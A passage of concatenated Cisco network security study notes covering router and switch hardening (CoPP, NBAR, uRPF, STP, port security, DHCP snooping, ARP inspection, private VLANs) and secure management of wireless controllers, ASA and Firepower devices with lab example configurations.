0.0.0.255 any eq 80 reflect dynamic-ACL (config-ext-nacl)#exit (config)#ip access-list extended Internet-Traffic-In (config-ext-nacl)#evaluate-dynamic-ACL (config-ext-nacl)#exit ``` ## Policy Maps, NBAR, URPF & TCP Intercept ### Policy Maps and Class Maps **Policy Maps** Can apply policy such as policing bandwidth, priority, or drop the traffic. **Class Maps** Matches traffic based on ACLs, VLANs, protocols, QoS attributes ### Network Based Application Recognition NBAR: - ACLs can be difficult to identify applications - Uses protocol discovery to classify traffic - Traffic matched in a class map - Would then be dropped in a policy map - Apply policy map to interface **Configuring NBAR:** ``` text (config-if)#ip nbar protocol-discovery (config-if)#exit (config)#class-map ptpTraffic (config-cmap)#match protocol bittorrent (config-cmap)#match protocol edonkey (config-cmap)#exit (config)#policy-map drop-p2pTraffic (config-pmap)#class ptpTraffic (config-pmap-c)#drop (config-pmap-c)#exit (config-pmap)#exit ``` **Applying NBAR:** ``` text (config)#int gi 0/1 (config-if)#service-policy {inputloutput} drop-p2p ``` ### Unicast Reverse Path Forwarding URPF: - Helps prevent spoofed IP addresses - Verifies the packet was received on the correct interface - Packet must be reachable from the same interface it came from ``` text (config-if)#ip verify unicast reverse-path (config-if)#ip verify unicast reachable-via rx ``` ### TCP Intercept - Intervenes and protects servers from SYN-Flood Attacks - Intercept Mode - Router is a man-in-the-middle - Uses aggressive timeouts for half-open TCP sessions - Router will stitch legitimate sessions together - Watch Mode - Watch connection requests - Intervene if connections aren’t established within allotted time Intervenes and protects servers from SYN-Flood Attacks: ``` text (config)#ip access-list standard Important_Servers (config-ext-nacl)#permit tcp any host 192.168.1.50 (config-ext-nacl)#exit (config)#ip tcp intercept mode {watch]intercept} (config)#ip tcp intercept list Important_Servers ``` ## Control Plane Policing ### CoPP - Utilizes ACLs and policy maps - Used to police any packets that are routed to the control plane **Configuring CoPP:** - Define traffic using ACLs - Create a class map referencing ACL - Policy map referencing class map - Apply policy map to the control plane ``` text Router1(config)#ip access-list extended CoPP-Traffic Router1(config-ext-nacl)#permit tcp any any eq bgp Router1(config-ext-nacl)#permit ospf any any Router1(config-ext-nacl)#permit eigrp any any Router1(config-ext-nacl)#exit Router1(config)#class-map CoPp-Class-Map Router1(config-cmap)#match access-group name CoPP-Traffic Router1(config-cmap)#exit Router1(config)#policy-map CoPP-Policy-Map Router1(config-pmap)#class CoPP-Class-Map Router1(config-pmap-c)#police 200000 conform-action transmit exceed-action drop Router1(config-pmap-c-police)#exit Router1(config-pmap-c)#exit Router1(config-pmap)#exit Router1(config)#control-plane Router1(config-cp)#service-policy input Copp-Policy-Map policy map Copp-Policy-Map not configured Router1(config-cp)#service-policy input CoPP-Policy-Map ``` --- # Securing the Control Plane and Data Plane on Cisco Switches Source: docs/networking/cisco/core-security/network-security-fundamentals/05.-securing-the-control-plane-and-data-plane-on-cisco-switches.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-fundamentals/05.-securing-the-control-plane-and-data-plane-on-cisco-switches/ ## Securing Spanning Tree Protocol - Frames to not contain a TTL - Switches will broadcast frames they don’t know the destination to - Can cause the original frame to be recreated millions of times ### Spanning Tree Overview - **Creates a tree of the network** - Root of the tree is the rool bridge - Elected via lowest Bridge ID (BID) - BID is a combination MAC and priority - Communicate the information via BPDU - **Each switch determines best path to root** - That interface is the root port - Downstream ports are designated ports End of convergence, there will be no loops ### How Can Malicious Attackers Leverage STP? 1. Attacker sends BPDUs, switches must go into convergence, no switches forward frames, causing DoS. image of bpdu 1. Attacker becomes Root Bridge, switches determines best path to attacker, attacker becoming MiTM, attacker can see all info. image of root ### Mitigating Attacks Against STP - Shutdown any interfaces not in use - Disable DTP (Dynamic Trunking Protocol): `switchport nonegotiate` - Manually configure non-trunk ports as access ports: `switchport mode access` - Enabling DTP and manually configuring access ports significantly protects network ### Enabling BPDU Guard **Global Configuration:** ``` text (config)#spanning-tree portfast edge {bpduguard]bpdufilter} default (config-if)#spanning-tree portfast edge ``` OR **Interface Configuration:** ``` text (config-if)#spanning-tree {bpduguard]bpdufilter} enable ``` ### Additional Mitigations - Manually configure bridge priority - Root primary command will only decrement switch to be the root of the current switches in the spanning tree - It is still technically possible for a device to become root if its priority is also 0, and has a lower MAC address - Configure root guard on all designated ports - Would cause the interface to ignore any BPDUs that have a BID lower than current root **Configure Switch as the Priority (PVST):** ``` text (config)#spanning-tree vlan 100-200 priority 0 ### OR (config)#spanning-tree vlan 100-200 root primary ``` **Configure Switch as the Priority (MST):** ``` text (config)#spanning-tree mst 1 priority 0 ### OR (config)#spanning-tree mst 1 root primary ``` **Configure Root Guard:** ``` text (config-if)#spanning-tree guard root ``` ## Securing Virtual Trunking Protocol ### Virtual Trunking Protocol - Quickly propagate VLANs across switches without having to manually configure - Versions 1, 2 & 3 - Server Mode - Changes are configured and then pushed out - Client Mode - Applies changes from a server, but cannot be manually changed by administrator - Transparent mode - Does not apply changes, but still forwards VTP messages to other switches - Revision number is important! - If VTP revision number is higher in message: - Switch will update its VLAN database - Include only the VLANs in the message - Not hard to overwrite a working VLAN database - Erasing startup-config does not remove VLANs ### Mistake Waiting to Happen - Switch has different VLANs - Has a higher revision number - Still configured as VTP server - All switches would erase valid VLANs and add bogus VLANs ### VTP Version 3 - Primary VTP server - Can only be one VTP server - Use MD5 hashed password ``` text GloboSwitch1#show vtp status GloboSwitch1#conf t GloboSwitchi(confia)#vtp domain GloboVTP GloboSwitch1(config)#vtp version 3 GloboSwitch1(config)#vtp password Globo123 GloboSwitch1(config)#int range gi 0/2 -3 GloboSwitch1(config-if-range)#no vtp GloboSwitch1(config-if-range)#switchport mode access GloboSwitch1(config-if-range)#switchport nonegotiate GloboSwitch1#vtp primary ``` ## Port Security ### CAM Table - Associates MAC address, switch interface, & VLAN - Switches frames if it knows the port to send it too - Broadcasts frame in order to find port MAC address resides on - Updates table once port and MAC address are found ### MAC Spoofing Attack - Attacker could spoof MAC - Switch would update CAM table with attackers port, and send future packets to it - Legitimate device will eventually respond, causing the switch to update CAM table - Attacker could continue to send spoof MAC addresses in order to keep the switch forwarding it frames ### CAM Flooding Attack When attacker sends so many frames with spoofed MAC addresses, that the CAM table is filled up and isn’t able to process frames in an efficient manner. ### Port Security - Configures the interface to only allow certain MAC addresses - Can manually configure MAC addresses on interface. Is administratively difficult to do for all interfaces - Sticky MAC address allows port to dynamically learn MAC addresses as they are plugged in ``` text (config-if)#switchport port-security (config-if)#switchport port-security mac-address 48-bit MAC address (config-if)#switchport port-security mac-address sticky (config if)#switchport port-security maximum 5 (config-if)#exit (config)#errdisable recovery cause psecure-violation ``` **Additional Port Security Violation Actions:** - Drop frames silently until the number of MAC addresses have been removed: `(config if)#switchport port-security violation protect` - Drop frames until the number of MAC addresses have been removed, but creates a syslog and SNMP message: `(config if)#switchport port-security violation restrict` - Default: `(config if)#switchport port-security violation shutdown` **Age Out the MAC Addresses:** ``` text (config-if)#switchport port-security aging time 10 (config-if)#switchport port-security aging type {inactivitylabsolute} ``` ## DHCP Snooping ### DHCP Security Risks **\* Rogue DHCP server could start issuing IPs** - Could place itself as the default gateway - Man-in-the-middle - **Rogue DHCP server floods DHCP requests** - Cause legitimate DHCP to run out of IPs - DHCP Starvation attack Clients will only receive offer from the Rogue DHCP server ### DHCP Snooping - Define interfaces connected to trusted DHCP servers - DHCP offers on untrusted interfaces will be dropped - Creates a DHCP database of clients. - Contains MAC, IP and VLAN ID - Rate limiting feature - Used to prevent DHCP starvation attacks ``` text GloboAccess(config)#ip dhcp snooping vlan 100 GloboAccess(config)#int eth 0/0 GloboAccess(config-if)#ip dhcp snooping trust GloboAccess(config-if)#exit GloboAccess(config)#int range eth 0/0 -1 GloboAccess(config-if-range)#ip dhcp snooping limit rate 10 GloboAccess(config-if-range)#exit GloboAccess(config)#ip dhcp snooping ``` ## Dynamic ARP Inspection ### ARP Poisoning - Change ARP entry to point to their MAC for the victim’s IP address - Respond to a legitimate ARP request - Send a Gratuitous ARP packet ### Dynamic ARP Inspection - Can leverage the DHCP snooping database - Would verify ARP replies to see if they match the database - If they ARP packets aren’t correct, they are dropped - All untrusted interfaces would be checked ### Configuring Dynamic ARP Inspection ``` text (config)#ip arp inspection vlan 90-100,200 (config)#arp access-list ARP-ACL (config-arp-nacl)#permit ip host 192.168.1.10 mac host 0050.7966.6800 (config-arp-nacl)#exit (config)#ip arp inspection filter ARP-ACL vlan 90-100,200 (config)#int ethernet 0/1 (config-ip)#ip arp inspection trust ``` ## Segmentation and Private VLANs ### Segmentation - Better network performance - Reduced area of attack - Easier to monitor smaller segments - Each VLAN usually part of a single subnet - Devices can communicate with each other - Leave subnet to communicate outside VLAN - May want to segment VLAN even further ### Private VLANs - Use traditional VLANs as Primary VLANs - Associate secondary VLANs to Primary VLANs - Promiscuous Port - Part of primary VLAN - Used by secondary VLANs to talk outside of their VLAN - VLAN 100 - Community Port - Can communicate with any other device in the same community, but not other communities - VLANs 200, 300, 400, & 500 - Isolated Port - Can’t communicate with any isolated or community port - VLAN 600 lab image lab file ``` text GloboCore(config)#int vlan 100 GloboCore(config-if)#ip add 192.168.1.1 255.255.255.0 GloboCore(config-if)#no shut GloboCore(config-if)#int lo 1 GloboCore(config-if)#ip add 10.10.10.1 255.255.255.255 GloboCore(config-if)#exit GloboCore(config)#int eth 0/0 GloboCore(config-if)#sw mode acc GloboCore(config-if)#sw acc vlan 100 GloboCore(config-if)#no shut GloboCore(config-if)#exit GloboCore(config)#int vlan 100 GloboCore(config-if)#ip add 192.168.1.1 255.255.255.0 GloboCore(config-if)#no shut GloboCore(config-if)#int lo 1 GloboCore(config-if)#ip add 10.10.10.1 255.255.255.255 GloboCore(config-if)#exit GloboCore(config)#int eth 0/0 GloboCore(config-if)#sw mode acc GloboCore(config-if)#sw acc vlan 100 GloboCore(config-if)#no shut GloboCore(config-if)#exit GloboAccess(config)#vtp mode transparent GloboAccess(config)#vlan 200 GloboAccess(config-vlan)#private-vlan community GloboAccess(config-vlan)#exit GloboAccess(config)#vlan 600 GloboAccess(config-vlan)#private-vlan isolated GloboAccess(config-vlan)#exit GloboAccess(config)#vlan 100 GloboAccess(config-vlan)#private-vlan primary GloboAccess(config-vlan)#private-vlan association 200,600 GloboAccess(config-vlan)#exit GloboAccess(config)#int eth 0/0 GloboAccess(config-if)#switchport mode private-vlan promiscuous GloboAccess(config-if)#switchport private-vlan mapping 100 200,600 GloboAccess(config-if)#no shut GloboAccess(config-if)#exit GloboAccess(config)#int range eth 0/1 -2 GloboAccess(config-if-range)#switchport mode private-vlan host GloboAccess(config-if-range)#switchport private-vlan host-association 100 200 GloboAccess(config-if-range)#exit GloboAccess(config)#int range eth 1/1 -2 GloboAccess(config-if-range)#switchport mode private-vlan host GloboAccess(config-if-range)#switchport private-vlan host-association 100 600 ``` ## Protecting Against Segmentation Attacks & Traffic Filtering at Layer 2 ### Attacks Against Segmentation - VLAN Hopping Attack - Establish trunk port with switch, then tag frames with any VLAN - Mitigate by disabling DTP - Double Tagging - Tag frame with the native VLAN, then tag with destination VLAN - Set native VLAN to unused VLAN: `#switchport trunk native vlan 999` ### ACLs - Use L3 and L4 ACLs on L2 ports - Use L2 ACL on L2 ports - `#ip access-group NAME {inlout}` - `#mac access-group NAME in` - Applying to VLAN interface only affects traffic entering or leaving VLAN - VACLs are applied to all traffic in a VLAN **ACLs to Define Traffic for Access MAP:** ``` text (config)#ip access-list extended telnet-Traffic (config-ext-nacl)#permit tcp any any eq 23 (config-ext-nacl)#exit (config)# ip access-list extended Microsoft-RPC (config-ext-nacl)#permit tcp any any eq 135 (config-ext-nacl)#permit udp any any eq 135 (config-ext-nacl)#exit (config)#access-list 112 permit ip any any ``` **Sample VLAN Access-Map:** ACLs used to match traffic do not determine what happens to the traffic. Whatever references the ACL determines what happens to the traffic that matches any permit statements ``` text (config)#vlan access-map VLAN-MAP 10 (config-access-map)#match ip address telnet-traffic (config-access-map)#action drop (config-access-map)#exit (config)#vlan access-map VLAN-MAP 20 (config-access-map)#match ip address Microsoft-RPC (config-access-map)#action drop log (config-access-map)#exit (config)#vlan access-map VLAN-MAP 30 (config-access-map)#match ip address 112 (config-access-map)#action forward ``` **Apply the VLAN Access Map to VLANs:** ``` text (config)#vlan filter VLAN-MAP vlan-list 10,20-50,100 ``` ## Storm Control - Broadcast storms can wreak havoc on a network - Storm control can be used to prevent storms - Monitors broadcast traffic on an interface - Hardware storm control will drop any future broadcast traffic - Software storm control will drop any future traffic ### Configuring Storm Control ``` text (config-if)#storm-control broadcast level 60 [lower level] (config-if)#storm-control action shutdown (config-if)#storm-control broadcast include multicast ``` --- # Configuring Wireless LAN Controller Device Hardening Methods Source: docs/networking/cisco/core-security/network-security-fundamentals/06.-configuring-wireless-lan-controller-device-hardening-methods.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-fundamentals/06.-configuring-wireless-lan-controller-device-hardening-methods/ ## Wireless Security Overview ### Why Wireless Security Is Needed - Malicious attacker doesn’t need physical access to cable - Can listen if they are within distance of wireless signal - Additional security measures are needed ### Wired Equivalent Privacy (WEP) - Password required before device allowed on network - 24 bit initialization vector (IV and RC4 - IV was too short and insecure ### Wifi Protected Access (WPA) - 48-bit IV & TKIP - Message Integrity Check - Sequence counter ### WPA2 - IEEE 802.11i - AES-128 & Cipher Block Chaining Message Authentication Code Protocol (CCMP) - WPA2 Enterprise - Uses 802.1X - Authentication occurs at AAA server - WPA2 Personal - Use Pre-Shared-Key as authentication ### Adding Encryption to Wireless LANS
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-1.png)
WLANs > select profile
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-2.png)
Security > Layer 2 > WPA+WPA2
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-3.png)
PSK > input password
### Configuring WPA2 Enterprise
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-4.png)
Security > AAA > RADIUS > Authentication
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-5.png)
Input Server IP and Shared Secret
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-6.png)
WLANs > select profile > Security > Layer 2 > 802.1X
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-7.png)
AAA Servers > Server 1
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-8.png)
Advanced > Allow AAA Override, P2P Blocking Action (Drop), DHCP Addr. Assignment (Reguired)
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-9.png)
Advanced > NAC State > ISE NAC
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-10.png)
Advanced > Radius Client Profiling (enable all), Local Client Profiling (enable all)
### Securing the Management Plane on a Wireless LAN Controller
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-11.png)
Security > Priority Order > Management User > move LOCAL down
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-12.png)
HTTP-HTTPS
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-13.png)
Telnet-SSH
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-14.png)
Mgmt Via Wireless
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-15.png)
SNMP > General
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-16.png)
SNMP > Create User
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-17.png)
SNMP > Trap Receivers
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-18.png)
Security > Access Control Lists > Access Control Lists > New
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-19.png)
Add new rule
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-20.png)
More rules
![securing the wireless lan controller](_images/securing-the-wireless-lan-controller-21.png)
Apply ACL to CPU
--- # Network Security Fundamentals Source: docs/networking/cisco/core-security/network-security-fundamentals/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-fundamentals/ --- # Securely Managing Cisco ASA Devices Source: docs/networking/cisco/core-security/network-security-with-cisco-asa/1.-securely-managing-cisco-asa-devices.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-asa/1.-securely-managing-cisco-asa-devices/ ## Out of Band Management ### Out of Band Management Networks - Network dedicated for the management of network devices - Access in/out of network restricted by ACLs - Define which traffic will need to leave network - Some management networks will be completely self contained - Size of management network determined by size of the organization ## Management Interfaces on the ASA ### Management Interfaces - Dedicated management interface - Logically divides router - Segments traffic ``` text Globo-ASA(config)# interface Management 0/0 Globo-ASA(config-if)# ip address 172.20.1.61 255.255.255.0 Globo-ASA(config-if)# nameif MGMT Globo-ASA(config-if)# no shut Globo-ASA(config-if)# Management-only Globo-ASA(config-if)# exit Globo-ASA(config)# show route Management-only Routing Table: MgMt-only Codes: L local, C • connected, S static, R RIP. M Mobile, B BGP D EIGRP. EX EIGRP external. 0 OSPF IA OSPF inter area N1 OSPF NSSA external type 1, N2 OSPF NSSA external type 2 E1 OSPF external type 1, E2 OSPF external type 2, U UPN i - IS-IS, Su IS-IS summary, L1 IS-IS level-1, L2 IS-IS level-2 ia - IS-IS inter area, * candidate default, U per-user static route 0 - ODR, P periodic downloaded static route. replicated route Gateway of last resort is not set C 172.20.1.0 255.255.255.0 is directly connected, MGMT L 172.20.1.61 255.255.255.255 is directly connected, MGMT ``` ## Configuring SSH and HTTPS Access on an ASA ``` text Globo-ASA(config)# domain-name globomantics.com Globo-ASA(config)# crypto key generate rsa Modulus 2048 Globo-ASA(config)# ssh version 2 Globo-ASA(config)# ssh key-exchange group dh-group14-sha1 Globo-ASA(config)# username kinda password Globo123 privilege 15 Globo-ASA(config)# enable password Globo123 Globo-ASA(config)# ssh 172.20.1.0 255.255.255.0 MGMT Globo-ASA(config)# http server enable Globo-ASA(config)# http 172.20.1.0 255.255.255.0 MGMT ``` ## Cisco ASDM ### ASDM Overview - Adaptive Security Device Manager - GUI used to manage the ASA - Requires java - Download from Cisco.com or the ASA
![securely managing cisco asa devices](_images/securely-managing-cisco-asa-devices-1.png)
ASDM - preview commands before sending to device
--- # Configuring AAA on a Cisco ASA For Use with Cisco ISE Source: docs/networking/cisco/core-security/network-security-with-cisco-asa/2.-configuring-aaa-on-a-cisco-asa-for-use-with-cisco-ise.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-asa/2.-configuring-aaa-on-a-cisco-asa-for-use-with-cisco-ise/ ## Prepping Cisco ISE to Support TACACS
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-1.png)
Enable TACACS+
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-2.png)
Define a network device
![configuring aaa on a cisco asa for use with cisco ise](_images/configuring-aaa-on-a-cisco-asa-for-use-with-cisco-ise-1.png)
Leverage AD security groups
## TACACS Profiles and TACACS Command Sets
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-5.png)
Configure TACACS Profiles
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-6.png)
Configure TACACS Command Sets
## Configuring Device Admin Policy Sets
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-7.png)
Configure Device Admin Policy Sets
## Configuring AAA on an ASA Using the CLI and ASDM ``` text Globo-ASA(config)# aaa-server GloboISE protocol tacacs Globo-ASA(config-aaa-server-group)# aaa-server GloboISE (MGMT) host 172.20.1.55 Globo-ASA(config-aaa-server-host)# key GloboISE123 Globo-ASA(config-aaa-server-host)# exit Globo-ASA(config)# aaa authentication ssh console GloboISE LOCAL Globo-ASA(config)# aaa authentication http console GloboISE LOCAL Globo-ASA(config)# aaa authentication enable console GloboISE LOCAL Globo-ASA(config)# aaa authentication secure-http-client Globo-ASA(config)# aaa authorization http console GloboISE Globo-ASA(config)# aaa authorization command GloboISE LOCAL Globo-ASA(config)# aaa authorization exec authentication-server auto-enable Globo-ASA(config)# aaa accounting ssh console GloboISE Globo-ASA(config)# aaa accounting serial console GloboISE Globo-ASA(config)# aaa accounting enable console GloboISE Globo-ASA(config)# aaa accounting command GloboISE ```
![configuring aaa on a cisco asa for use with cisco ise](_images/configuring-aaa-on-a-cisco-asa-for-use-with-cisco-ise-2.png)
Configuring AAA in ASDM
--- # Configuring Management Protocols on a Cisco ASA Source: docs/networking/cisco/core-security/network-security-with-cisco-asa/3.-configuring-management-protocols-on-a-cisco-asa.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-asa/3.-configuring-management-protocols-on-a-cisco-asa/ ## Configuring SNMPv3 Users on a Cisco ASA - SNMP Users - Defines credentials and algorithms - SNMP Groups - Associates with SNMP Users with SNMP mode - SNMP Host - Defines the SNMP hosts that can access the ASA configuring-management-protocols-on-a-cisco-asa-1 configuring-management-protocols-on-a-cisco-asa-2 ``` text Globo-ASA(config)# snmp-server aroup GloboSNMP v3 priv Globo-ASA(config)# snmp-server user GloboSNMPUser GloboSNMP v3 auth priv aes 256 Globo123 Globo-ASA(config)# snmp-server host MGMT 172.20.1.56 version 3 GloboSNMPUser ``` configuring-management-protocols-on-a-cisco-asa-3 ## Configuring NTP Authentication on a Cisco ASA ``` text Globo-ASA(config)# ntp authentication-key 1 md5 Globo123 Globo-ASA(config)# ntp authenticate Globo-ASA(config)# ntp trusted-key 1 Globo-ASA(config)# ntp server 172.20.1.51 source MGMT key 1 Globo-ASA(config)# show ntp associations detail ``` configuring-management-protocols-on-a-cisco-asa-4 ## Using SCP and the ASDM Client to Transfer Files ``` text Globo-ASA# copy startup-conf scp: Address or name of remote host []? 172.20.1.15 Destination username []? craig Destination filename [startup-config]? Password:********* ************* !!!!!!!!!! 9842 bytes copied in 12.650 secs (820 bytes/sec) ``` configuring-management-protocols-on-a-cisco-asa-5 --- # Managing Cisco ASAs with Cisco Security Manager Source: docs/networking/cisco/core-security/network-security-with-cisco-asa/4.-managing-cisco-asas-with-cisco-security-manager.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-asa/4.-managing-cisco-asas-with-cisco-security-manager/ ## Adding ASAs to Cisco Security Manager ![image1](_images/managing-cisco-asas-with-cisco-security-manager-1.png) ## Using Cisco Security Manager to Push Policies to ASAs ![image2](_images/managing-cisco-asas-with-cisco-security-manager-2.png) ## Using Cisco Security Manager to Upgrade ASA Software ![image3](_images/managing-cisco-asas-with-cisco-security-manager-3.png) --- # Network Security with Cisco ASA Source: docs/networking/cisco/core-security/network-security-with-cisco-asa/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-asa/ --- # Securely Managing Cisco Firepower Devices Source: docs/networking/cisco/core-security/network-security-with-cisco-firepower/1.-securely-managing-cisco-firepower-devices.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-firepower/1.-securely-managing-cisco-firepower-devices/ ## Out of Band Management - Network dedicated for the management of network devices - Access in/out of network restricted by ACLs - Define which traffic will need to leave network - Some management networks will be completely self contained - Size of management network determined by - size of the organization ### Firepower Threat Defence - Deployed in routed mode - Firepower Device Manager (FDM) - Management of local device - Firepower Management Center (FMC) - External device used to manage multiple FTD appliances ## Configuring the Initial Management of a Firepower Threat Defense Appliance This is self-explanatory when booting the device for the first time ## Finishing the Setup of the FTD Using the GUI ![image1](_images/securely-managing-cisco-firepower-devices-1.png) --- # Configuring AAA on an FTD Appliance for Use with Cisco ISE Source: docs/networking/cisco/core-security/network-security-with-cisco-firepower/2.-configuring-aaa-on-an-ftd-appliance-for-use-with-cisco-ise.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-firepower/2.-configuring-aaa-on-an-ftd-appliance-for-use-with-cisco-ise/ ## Prepping Cisco ISE to Support RADIUS for Device Administration
![configuring aaa on a cisco asa for use with cisco ise](../network-security-with-cisco-asa/_images/configuring-aaa-on-a-cisco-asa-for-use-with-cisco-ise-1.png)
Leverage AD security groups
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-2.png)
Define a network device
## Role-based Access for Firepower Device Manager - When devices use role-based access to determine privilege, RADIUS must be used as the AAA protocol. - TACACS should be used when the device configured mainly through CLI, since TACACS allows each command to be authorized. ### Role-based Access Using FDM GUI Cisco AV Pairs: - Read-Only (`fdm.userrole.authority.ro`) - Read-Write (`fdm.userrole.authority.rw`) - Admin (`fdm.userrole.authority.admin`) ### Role-based Access Using FDM CLI Service Types: - Read-Only (`Service-Type:Administrator(6)`) - Read-Write (`Service-Type:NAS Prompt(7)`) ## Configuring RADIUS Authorization Profiles for Device Administration on Cisco ISE ![image1](_images/configuring-aaa-on-an-ftd-appliance-for-use-with-cisco-ise-4.png) ## Configuring RADIUS Policy Sets for Device Administration Using RADIUS
![configuring aaa on cisco ios device for use with cisco ise](../network-security-with-cisco-ios/_images/configuring-aaa-on-cisco-ios-device-for-use-with-cisco-ise-7.png)
Configure Device Admin Policy Sets
## Configure Firepower to Use ISE as RADIUS Server for Device Administration
![configuring aaa on an ftd appliance for use with cisco ise](_images/configuring-aaa-on-an-ftd-appliance-for-use-with-cisco-ise-1.png)
Authorisation Policy
![configuring aaa on an ftd appliance for use with cisco ise](_images/configuring-aaa-on-an-ftd-appliance-for-use-with-cisco-ise-2.png)
FTD Identity Source
![configuring aaa on an ftd appliance for use with cisco ise](_images/configuring-aaa-on-an-ftd-appliance-for-use-with-cisco-ise-3.png)
FTD Management Access
--- # Configuring Management Protocols on a Cisco Firepower Source: docs/networking/cisco/core-security/network-security-with-cisco-firepower/3.-configuring-management-protocols-on-a-cisco-firepower.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-firepower/3.-configuring-management-protocols-on-a-cisco-firepower/ ## Configuring Syslog on a Cisco FTD Appliance
![configuring management protocols on a cisco firepower](_images/configuring-management-protocols-on-a-cisco-firepower-1.png)
Add a Syslog Server
![configuring management protocols on a cisco firepower](_images/configuring-management-protocols-on-a-cisco-firepower-2.png)
Logging Settings
## Configuring NTP on a Cisco FTD Appliance
![configuring management protocols on a cisco firepower](_images/configuring-management-protocols-on-a-cisco-firepower-3.png)
NTP Settings
## Configuring DHCP on a FTD Appliance
![configuring management protocols on a cisco firepower](_images/configuring-management-protocols-on-a-cisco-firepower-4.png)
DHCP Settings
--- # Managing Multiple Firepowers with Cisco Firepower Management Center Source: docs/networking/cisco/core-security/network-security-with-cisco-firepower/4.-managing-multiple-firepowers-with-cisco-firepower-management-center.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-firepower/4.-managing-multiple-firepowers-with-cisco-firepower-management-center/ ## Initial Setup of Firepower Management Center `sudo configure-network` The rest is self-explanatory, browse to GUI to finish setup
![managing multiple firepowers with cisco firepower management center](_images/managing-multiple-firepowers-with-cisco-firepower-management-center-1.png)
Licensing FMC
## Adding an FTD Appliance to Firepower Management Center ``` text configure manager delete show managers configure manager add 172.20.1.63 Globo123 ```
![managing multiple firepowers with cisco firepower management center](_images/managing-multiple-firepowers-with-cisco-firepower-management-center-2.png)
Adding FTDs to FMC
## Using the FMC to Make Changes to a Firepower Appliance ![image1](_images/managing-multiple-firepowers-with-cisco-firepower-management-center-3.png) ## Using the FMC to Upgrade a Firepower Appliance ![image2](_images/managing-multiple-firepowers-with-cisco-firepower-management-center-4.png) --- # Network Security with Cisco Firepower Source: docs/networking/cisco/core-security/network-security-with-cisco-firepower/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-firepower/ --- # Securely Managing Cisco IOS Devices Source: docs/networking/cisco/core-security/network-security-with-cisco-ios/1.-securely-managing-cisco-ios-devices.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-with-cisco-ios/1.-securely-managing-cisco-ios-devices/ ## Out of Band Management ### Out of Band Management Networks - Network dedicated for the management of network devices - Access in/out of network restricted by ACLas - Define which traffic will need to leave network - Some management networks will be completely self contained - Size of management network determined by size of the organization ## Management Interfaces - Dedicated management interface - Logically divides router - Segments traffic **Configuration:** - Create VRF - Assign interface to VRF ``` text Globo-HQ#conf t Globo-HQ(config)#vrf definition Mgmt-intf Globo-HQ(config-vrf)#address-family ipv4 Globo-HQ(confiq-vrf-af#exit Globo-HQ(config-vrf)#exit Globo-HQ(config-if)#vrf forwarding Mgmt-intf Globo-HO(confia-if)#ip add 172.20.1.57 255.255.255.0 Globo-HQ#show ip route vrf Mgmt-intf ``` ## Configuring SSH on an IOS Device ``` text Globo-HQ#conf t Globo-HQ(config)#ip domain-name globomantics.com Globo-HQ(config)#crypto key generate rsa modulus 2048 label HQ-SSH Globo-HQ(config)# Globo-HQ(config)#ip ssh version 2 Globo-HQ(config)#username kinda privilege 15 secret Globo456 Globo-HQ(config)#enable password Globo123 Globo-HQ(config)#do show run include enable enable password Globo123 Globo-HQ(config)#do show run include kinda username kinda privilege 15 secret 5 $1$08Q0$71jkagYJdD2v9RTzgj2xs1 GLobo-HQ(config)#service password-encryption Globo-HQ(config)#do show run include enable enable password 7 080640410B16544541 Globo-HQ(config)#line vty 0 4 Globo-HQ(config-line)#transport input ssh Globo-HQ(config-line)#exit Globo-HQ(config)#aaa new-model ``` ## Configuring a Management ACL ### Sample Management ACL Inbound Traffic ``` text ip access-list extended Management-ACL-In permit tcp host 172.20.1.15 host 172.20.1.57 eq 22 permit udp host 172.20.1.55 host 172.20.1.57 eq 1812 permit udp host 172.20.1.55 host 172.20.1.57 eq 1813 permit tcp host 172.20.1.55 host 